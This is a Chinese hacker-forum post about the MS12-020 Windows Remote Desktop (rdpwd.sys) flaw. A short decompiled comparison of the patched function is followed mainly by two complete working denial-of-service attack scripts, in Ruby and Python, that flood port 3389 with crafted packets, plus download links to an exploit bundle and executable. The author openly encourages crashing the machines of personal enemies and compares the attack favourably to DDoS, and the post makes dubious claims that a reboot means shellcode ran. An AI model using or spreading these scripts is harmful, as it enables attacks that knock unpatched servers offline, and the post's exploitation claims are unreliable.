关于 MS12-020 的非专业分析 [附真正的 ruby 利用脚本]

帖子补充：

根据大家的测试，多数为直接蓝屏。

根据Silic Group的调查，蓝屏的出现基本可以确定是因为MS11-065补丁的原因。本文的PoC是根据2011年8月出现的MS11-065补丁以后的rdpwd.sys文件结构而写

微软通过MS11-065修改了rdpwd.sys文件并更新了版本，所以导致没打过MS11-065的机器就出现了蓝屏等症状。

通过本论坛交流群内成员的各种测试结果，发送580 byte数据包的基本可以成功，内网或者同C段则成功率比较高，其他情况则蓝屏现象严重

另外请不要质疑测试脚本与ms12-020漏洞的真实性，蓝屏则表示漏洞存在，只是shellcode在内存覆盖的位置有问题。

如果不爽，跟谁有仇就干谁，重启就蓝重启就蓝重启就蓝，补丁都打不上，这东西比DDoS稳定

本文末尾将付上MS12-020真正的PoC，编写语言为ruby和python两个版本的，还有一个exe程序，均不需要什么freerdp包之类的东西。

Sabu写的那个不是MS12-020的shellcode，而是2008年Apache 1.2.19的远程命令执行漏洞的EXP修改来的。真正的PoC除了本文帖子，其他的地方还真没流传出来。

新闻把这个炒作起来，完全是在微软推送补丁以后看漏洞的介绍和波及范围而炒作的。

PoC以后肯定会有人有更好更傻瓜化的或者GUI版本的，因为既然有漏洞的文件知道了，就会有人根据分析有漏洞的文件写出shellcode，不过暂时本论坛的本帖子的PoC恐怕是网上为数不多的可用的真实的PoC。

其实之前我这里在14号当天就拿到了一个nasl的测试脚本，nasl版本的PoC真的要执行指定命令并不太容易，多数都拒绝服务了，不过测试中580byte的shellcode是成功率最高的。

也就是说，网上流传的截图也好，视频也好，有sent从一百两百到上万byte的PoC程序截图，这些截图明显就是假的了

OK,步入正文

//blackbap.org

MS12-020于前天被爆存在高危远程代码执行漏洞，可以通过向远程桌面端口发送特定的RDP包获得管理员权限，存在漏洞的文件是rdpwd.sys，出现漏洞的原因，恐怕现在网上已经泛滥的一塌糊涂了，那就是HandleAttachUserReq()函数。

其实早在2011年8月的时候，微软的rdpwd.sys文件就已经爆出过一个命令执行漏洞，漏洞代号是MS11-065。

注：本文并非专业分析

但是转载请注明本文来自：Silic Group Hacker Army[http://blackbap.org]

首先，第一步我们来看一下这个存在漏洞的函数HandleAttachUserReq()在打过补丁前后的不同：

更新前的代码：

char __thiscall HandleAttachUserReq(int this, int a2, int a3)
{
        int v3; // esi@1
        int v4; // eax@3
        int v6; // [sp-8h] [bp-18h]@3
        char v7; // [sp+4h] [bp-Ch]@3
        int v8; // [sp+8h] [bp-8h]@3
        int v9; // [sp+Ch] [bp-4h]@2

        v3 = this;
        *(_DWORD *)a3 = 1;
        if ( *(_BYTE *)(this + 16) & 0x20 )
        {
                while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )
                        ;
                v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);
                v6 = *(_DWORD *)(v9 + 16);
                if ( v4 )
                {
                        CreateAttachUserCon(14, 0, 0, v6);
                        *(_DWORD *)(v9 + 20) = 9;
                }
                else
                {
                        CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);
                        *(_DWORD *)(v9 + 20) = 11;
                        *(_BYTE *)(v8 + 4) = 0;
                }
                if ( SendOutBuf(v3, v9) < 0 )
                        SListRemove(v3 + 112, v8, &v8);
        }
        return 1;
}

更新后的代码：

char __thiscall HandleAttachUserReq(int this, int a2, int a3)
{
        int v3; // esi@1
        int v4; // eax@3
        int v6; // [sp-8h] [bp-18h]@3
        char v7; // [sp+4h] [bp-Ch]@3
        int v8; // [sp+8h] [bp-8h]@3
        int v9; // [sp+Ch] [bp-4h]@2

        v3 = this;
        *(_DWORD *)a3 = 1;
        if ( *(_BYTE *)(this + 16) & 0x20 )
        {
                while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )
                        ;
                v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);
                v6 = *(_DWORD *)(v9 + 16);
                if ( v4 )
                {
                        CreateAttachUserCon(14, 0, 0, v6);
                        *(_DWORD *)(v9 + 20) = 9;
                }
                else
                {
                        CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);
                        *(_DWORD *)(v9 + 20) = 11;
                        *(_BYTE *)(v8 + 4) = 0;
                }
                if ( SendOutBuf(v3, v9) < 0 )
                {
                        SListRemove(v3 + 112, v8, &v8);
                        //注意下面的if语句，这是更新后的代码 blackbap.org
                        if ( p )
                        {
                                if ( !*((_BYE *)P + 5) )
                                ExFreePoolWithTag(P, 0);
                        }
                }
        }
        return 1;
}

是的，代码中添加了一个额外的函数ExFreePoolWithTag()用于检查和释放内存的使用

原：

0002CB30        @HandleAttachUserReq@16
0002CBB8        push ss:[ebp+var_4]
0002CBBB        push esi
0002CBBC        call _SendOutBuf@8
0002CBC1        test eax, eax
0002CBC3        pop ebx
0002CBC4        jge loc_2CBD6

0002CBC6        lea eax, ss:[ebp+var_8]
0002CBC9        push eax
0002CBCA        push ss:[ebp+var_8]
0002CBCD        add esi, 0x70
0002CBD0        push esi
0002CBD1        call _SListRemove@12

0002CBD6        mov b1 a1, b1 1
0002CBD8        pop esi
0002CBD9        leave
0002CBDA        retn b2 8

这是后面加过检查和释放函数的：

0002CB44        @HandleAttachUserReq@16
0002CBCC        push ss:[ebp+var_4]
0002CBCF        push esi
0002CBD0        call _SendOutBuf@8
0002CBD5        test eax, eax

0002CBD7        jge loc_2CBD6

0002CBD9        lea eax, ss:[ebp+var_P]
0002CBDC        push eax
0002CBDD        push ss:[ebp+var_P]
0002CBE0        add esi, 0x70
0002CBE3        push esi
0002CBE4        call _SListRemove@12 //SListRemove(x,x,x)

0002CBE9        mov eax, ss:[ebp+P]
0002CBEC        cmp eax, ebx
0002CBEE        jz loc_2CBFD


0002CBF0        cmp b1 ds:[eax+5],b1 b1
0002CBF3        jnz loc_2CBFD

0002CBF5        push ebx        //Tag
0002CBF6        push ebx        //P
0002CBF7        call ds:[__imp__ExFreePoolWithTag@8]        //__imp__ExFreePoolWithTag@8，ExFreePoolWithTag(x,x)
//CODE XREF: HandleAttachUserReq(x,x,x,x)+19j
//HandleAttachUserReq(x,x,x,x)+94j ...
0002CBFD        pop esi

0002CBFE        mov b1 a1, b1 1
0002CC00        pop ebx
0002CC01        leave
0002CC02        retn b2 8

通过检查，上述函数似乎只解决了内存泄露问题，并没有解决内存不释放的问题？？

还有一个函数也是疑似检查用户数据的，疑似是边界的检查

0001978A                 call    _WDWParseUserData@36 //WDWParseUserData(x,x,x,x,x,x,x,x,x)
0001978F                 test    eax, eax
00019791                 jz      short loc_1973D
00019793                 push    0
00019795                 push    esi
00019796                 push    [ebp+arg_4]
00019799                 push    [ebp+var_4]
0001979C                 push    [ebp+var_8]
0001979F                 push    [ebp+var_C]
000197A2                 push    [ebp+arg_0]
000197A5                 call    _WDWConnect@28  //WDWConnect(x,x,x,x,x,x,x)

上面这个函数我并没有做什么太大的分析，因为漏洞已经产生了，其实大家更想知道的，并不是这个漏洞如何产生的，而是这个漏洞怎么利用。

下面就贴出ruby语言的利用脚本：

#!/usr/bin/env ruby
# ms12-020 PoC
# NOTE: 本测试脚本基于中国民间流传的Chinese Shit而写，并且修正了数据包不符合协议的问题
# Author: Joshua J. Drake(jduck)
# From: BlackBap.Org
# Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步

require 'socket'

def send_tpkt(sd, data)
  sd.write(make_tpkt(data))
end

def make_tpkt(data)
  [
    3,  # version
    0,  # reserved
    4 + data.length
  ].pack('CCn') + data
end

def make_x224(data)
  [ data.length ].pack('C') + data
end

def make_rdp(type, flags, data)
  [ type, flags, 4 + data.length ].pack('CCv') + data
end


host = ARGV.shift

sd = TCPSocket.new(host, 3389)
pkts1 = []

# craft connection request
rdp = make_rdp(1, 0, [ 0 ].pack('V'))
x224_1 = make_x224([
  0xe0,  # Connection request
  0,     # ??
  0,     # SRC-REF
  0      # Class : Class 0
].pack('CnnC') + rdp)

pkts1 << make_tpkt(x224_1)


# craft connect-initial
x224_2 = make_x224([
  0xf0,  # Data / Class 0
  0x80   # EOT: True / NR: 0
].pack('CC'))

# mcsCi
target_params = ""+
  #"\x02\x01\x00"+     # maxChannelIds
  "\x02\x04\x00\x00\x00\x22"+  # maxChannelIds
  "\x02\x04\x00\x00\x00\x0a"+  # maxUserIds
  "\x02\x04\x00\x00\x00\x00"+  # maxTokenIds
  "\x02\x04\x00\x00\x00\x01"+  # numPriorities
  "\x02\x04\x00\x00\x00\x00"+  # minThroughput
  "\x02\x04\x00\x00\x00\x01"+  # maxHeight
  "\x02\x02\xff\xff"+          # maxMCSPDUSize
  "\x02\x04\x00\x00\x00\x02"   # protocolVersion
min_params = ""+
  "\x02\x04\x00\x00\x00\x01"+  # maxChannelIds       
  "\x02\x04\x00\x00\x00\x01"+  # maxUserIds          
  "\x02\x04\x00\x00\x00\x01"+  # maxTokenIds         
  "\x02\x04\x00\x00\x00\x01"+  # numPriorities       
  "\x02\x04\x00\x00\x00\x00"+  # minThroughput       
  "\x02\x04\x00\x00\x00\x01"+  # maxHeight           
  "\x02\x02\x04\x20"+          # maxMCSPDUSize
  "\x02\x04\x00\x00\x00\x02"   # protocolVersion
max_params = ""+
  "\x02\x02\xff\xff"+          # maxChannelIds           
  "\x02\x02\xfc\x17"+          # maxUserIds              
  "\x02\x02\xff\xff"+          # maxTokenIds             
  "\x02\x04\x00\x00\x00\x01"+  # numPriorities           
  "\x02\x04\x00\x00\x00\x00"+  # minThroughput           
  "\x02\x04\x00\x00\x00\x01"+  # maxHeight               
  "\x02\x02\xff\xff"+          # maxMCSPDUSize
  "\x02\x04\x00\x00\x00\x02"   # protocolVersion

userdata = ""+
  # gccCCrq
  "\x00\x05\x00\x14"+
  "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+
  # clientCoreData
  "\x01\xc0"+"\xd8\x00"+  # header (type, len)
    "\x04\x00"+"\x08\x00"+ # version
    "\x80\x02"+ # desktop width
    "\xe0\x01"+ # desktop height
    "\x01\xca"+ # color depth
    "\x03\xaa"+ # SASSequence
    "\x09\x04\x00\x00" + # keyboard layout
    "\xce\x0e\x00\x00" + # client build number
    # client name
    "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x04\x00\x00\x00"+ # keyboard type
    "\x00\x00\x00\x00"+ # kbd subType
    "\x0c\x00\x00\x00"+ # kbd FuncKey
    # imeFileName
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x01\xca"+ # postBeta2ColorDepth
    "\x01\x00"+ # clientProductId
    "\x00\x00\x00\x00" + # serialNumber
    "\x10\x00"+ # highColorDepth
    "\x07\x00"+ # supportedColorDepths
    "\x01\x00"+ # earlyCapabilityFlags
    # clientDigProductId -poc has: "00000-000-0000000-00000"
    "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+
    "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+
    "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00"+ # connectionType
    "\x00"+ # pad1octet
    "\x00\x00\x00\x00"+ # serverSelectedProtocol
    "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth
    "\x0d\x00\x00\x00"+ # desktopPhysicalHeight
    "\x00\x00\x00\x00"+ # reserved
  # clientSecurityData
  "\x02\xc0"+"\x0c\x00"+ # header (type, len)
    "\x1b\x00\x00\x00"+ # encryptionMethods
    "\x00\x00\x00\x00"+ # extEncryptionMethods
  # clientNetworkData
  "\x03\xc0"+"\x2c\x00"+ # header (type, len)
    "\x03\x00\x00\x00"+ # channel count!
    # channel 0
    "rdpdr\x00\x00\x00"+ # name
    "\x00\x00\x80\x80"+  # options
    # channel 1
    "cliprdr\x00"+       # name
    "\x00\x00\xa0\xc0"+  # options
    # channel 2
    "rdpsnd\x00\x00"+    # name
    "\x00\x00\x00\xc0"   # options
  # clientClusterData (not present)
  # clientMonitorData (not present)

mcs_data = ""+
    "\x04\x01\x01"+ # callingDomainSelector
    "\x04\x01\x01"+ # calledDomainSelector
    "\x01\x01\xff"+ # upwardFlag
  #"\x30" + [ target_params.length ].pack('C') + target_params +
  #"\x30" + [ min_params.length ].pack('C') + min_params +
  #"\x30" + [ max_params.length ].pack('C') + max_params +
  "\x30" + [ 0x19 ].pack('C') + target_params +
  "\x30" + [ 0x19 ].pack('C') + min_params +
  "\x30" + [ 0x1c ].pack('C') + max_params +
  # userData
  "\x04\x82" + [ userdata.length ].pack('n') + userdata

#mcs = "\x7f\x65\x82" + [ mcs_data.length ].pack('n')  # connect-initial (0x65 / 101), length
mcs = "\x7f\x65\x82" + [ 0x194 ].pack('n')  # connect-initial (0x65 / 101), length
mcs << mcs_data

pkts1 << make_tpkt(x224_2 + mcs)


# send a special one?
pkts1 << make_tpkt(x224_2 + "\x04\x01\x00\x01\x00")

# send more pkts! - based on poc
10.times {
  pkts1 << make_tpkt(x224_2 + "\x28")
}

pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xea")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xeb")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xec")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xed")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xee")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf0")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf1")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf2")
pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf3")

pkts1 << make_tpkt(x224_2 + "\x21\x80")

bigpkt = pkts1.join('')

loop {
  sd.write(bigpkt)

  send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")

  # read connect-initial response
  buf = sd.recv(1500)
  # XXX: TODO: check response =)
  #puts buf
}
sd.close
# BlackBap.Org

既然ruby的数据包上已经声明了，这个脚本是基于“Chinese Shit”的脚本所写，并且修正了“Chinese Shit”上面的不完全符合协议的数据包

那么我们再来看一下“Chinese Shit”的PoC又是什么样子的，Python语言：

#ms12-020 "chinese shit" PoC v2 (wireshark版)
# 测试平台:win sp3(西班牙语), 据反馈Win7和win 2008也同样可用
# Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步
# 附件中添加time.sleep修正bug版本的py脚本
# BlackBap.Org

import socket
import sys


buf=""
buf+="\x03\x00\x00\x13" # TPKT, Version 3, lenght 19
buf+="\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00" # ITU-T Rec X.224
buf+="\x03\x00\x01\xd6" # TPKT, Version 3, lenght 470
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x7f\x65\x82\x01\x94\x04" #MULTIPOINT-COMMUNICATION-SERVICE T.125

buf+="\x01\x01\x04\x01\x01\x01\x01\xff" # "Fuck you Chelios" packet
buf+="\x30\x19\x02\x04\x00\x00\x00\x00" 
buf+="\x02\x04\x00\x00\x00\x02\x02\x04" 
buf+="\x00\x00\x00\x00\x02\x04\x00\x00" 
buf+="\x00\x01\x02\x04\x00\x00\x00\x00" 
buf+="\x02\x04\x00\x00\x00\x01\x02\x02" 
buf+="\xff\xff\x02\x04\x00\x00\x00\x02" 
buf+="\x30\x19\x02\x04\x00\x00\x00\x01" 
buf+="\x02\x04\x00\x00\x00\x01\x02\x04" 
buf+="\x00\x00\x00\x01\x02\x04\x00\x00" 
buf+="\x00\x01\x02\x04\x00\x00\x00\x00" 
buf+="\x02\x04\x00\x00\x00\x01\x02\x02" 
buf+="\x04\x20\x02\x04\x00\x00\x00\x02" 
buf+="\x30\x1c\x02\x02\xff\xff\x02\x02" 
buf+="\xfc\x17\x02\x02\xff\xff\x02\x04" 
buf+="\x00\x00\x00\x01\x02\x04\x00\x00" 
buf+="\x00\x00\x02\x04\x00\x00\x00\x01" 
buf+="\x02\x02\xff\xff\x02\x04\x00\x00" 
buf+="\x00\x02\x04\x82\x01\x33\x00\x05" 
buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00" 
buf+="\x08\x00\x10\x00\x01\xc0\x00\x44" 
buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8" 
buf+="\x00\x04\x00\x08\x00\x80\x02\xe0" 
buf+="\x01\x01\xca\x03\xaa\x09\x04\x00" 
buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f" 
buf+="\x00\x53\x00\x54\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x04\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x0c\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x01\xca\x01\x00\x00\x00\x00" 
buf+="\x00\x10\x00\x07\x00\x01\x00\x30" 
buf+="\x00\x30\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x30\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" 
buf+="\x00\x30\x00\x30\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c" 
buf+="\x00\x0d\x00\x00\x00\x00\x00\x00" 
buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00" 
buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c" 
buf+="\x00\x03\x00\x00\x00\x72\x64\x70" 
buf+="\x64\x72\x00\x00\x00\x00\x00\x80" 
buf+="\x80\x63\x6c\x69\x70\x72\x64\x72" 
buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70" 
buf+="\x73\x6e\x64\x00\x00\x00\x00\x00" 
buf+="\xc0"

buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80"  # ITU-T Rec X.224
buf+="\x04\x01\x00\x01\x00" # MULTIPOINT-COMMUNICATION-SERVICE T.125
buf+="\x03\x00\x00\x08" #TPKT, Version 3, Length 8
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x28" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xef" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xeb" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xec"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c"  # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xed"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xee"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0b" # TPKT, Version 3, Lenght 12
buf+="\x06\xd0\x00\x00\x12\x34\x00"  #ITU-T Rec X.224

HOST = sys.argv[1]
PORT = 3389
for i in range(1000):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST,PORT))
        print "sending: %d bytes" % len(buf)
        s.send(buf)
        rec = s.recv(100)
        print "received: %d bytes" % len(rec)
        s.close()
# BlackBap.Org

测试，上面版本的Chinese Shit仍然有很多bug，附件中新增了time.sleep修正bug版本的py脚本

如果你比较懒，可以直接下载以上PoC的压缩包，如果你比较勤快，可以点击以上代码的“复制代码”，并保存于记事本并重命名为xx.rb和xx.py并自己修正bug 

附件说明：

 * MS12-020.rb为严格符合rdp数据包规范的ruby脚本语言的MS12-020测试PoC
 *
 * Chinese Shit.py为网上流传的MS12-020漏洞程序Python脚本wireshark v2修正版
 * 西班牙语XP SP3和Win7/R2都成功
 *
 * Chinese Shit Silic Group修正版.py为基于原Chinese Shit的python脚本的bug校正版本
 * 添加了time.sleep
 *
 * rdp.exe则来自网上广泛流传的花钱购买的版本的利用工具
 * rdp  IP  -v如果对方机器重启表示漏洞存在，且可利用。
 *
 * Apache 1.2.19 mod_jk 远程栈溢出漏洞.py是流传最广泛的Sabu@fbi.gov的娱乐版PoC
 *
 *
 * Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步
 * BlackBap.Org
 *提供一个Win下测试成功的, 不需要ruby环境的EXE程序:

转自：http://bbs.blackbap.org/thread-2419-1-1.html

py的脚本请有条件的童鞋去linux测试下;

ruby的脚本在win下测试成功率(包括蓝屏)很高, 据三石解释, 如果蓝屏了, 那么是内存覆盖的区域错误, 如果不蓝屏直接重启了, 则表示shellcode执行成功;

最后, 附上一个根据ruby改写的exe程序, 效果应该是和ruby一致, 只不过不需要ruby的环境了, 欢迎大家测试:

下载地址：

MS12-020利用工具-含bug修正版.rar：

http://115.com/file/be2creuz

http://115.com/file/e7s87ipd

ms12-020.rar（单独 exe 文件）：

http://115.com/file/e7b8p8qz

http://115.com/file/bewceec6

留言评论（旧系统）：